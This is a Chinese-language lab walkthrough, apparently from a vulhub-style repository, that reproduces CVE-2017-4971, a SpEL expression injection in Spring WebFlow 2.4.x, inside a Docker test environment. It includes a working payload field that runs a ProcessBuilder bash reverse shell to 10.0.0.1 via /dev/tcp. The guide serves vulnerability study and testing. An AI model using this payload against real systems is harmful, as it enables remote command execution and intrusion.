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# Spring WebFlow 远程代码执行漏洞CVE-2017-4971
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中如果我们控制了数据绑定时的field将导致一个SpEL表达式注入漏洞最终造成任意命令执行。
参考链接:
- https://threathunter.org/topic/593d562353ab369c55425a90
- https://pivotal.io/security/cve-2017-4971
## 测试环境
执行如下命令启动一个基于Spring WebFlow 2.4.4的Web应用
```
docker compose up -d
```
等待环境启动后,访问`http://your-ip:8080`将看到一个酒店预订的页面这是spring-webflow官方给的简单示例。
## 漏洞复现
首先访问`http://your-ip:8080/login`,用页面左边给出的任意一个账号/密码登录系统:
![](1.png)
然后访问id为1的酒店`http://your-ip:8080/hotels/1`,点击预订按钮"Book Hotel",填写相关信息后点击"Process"从这一步其实WebFlow就正式开始了
![](2.png)
再点击确认"Confirm"
![](3.png)
此时抓包抓到一个POST数据包我们向其中添加一个字段也就是反弹shell的POC
```
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub
```
![](4.png)
注意别忘记URL编码
成功执行获得shell
![](5.png)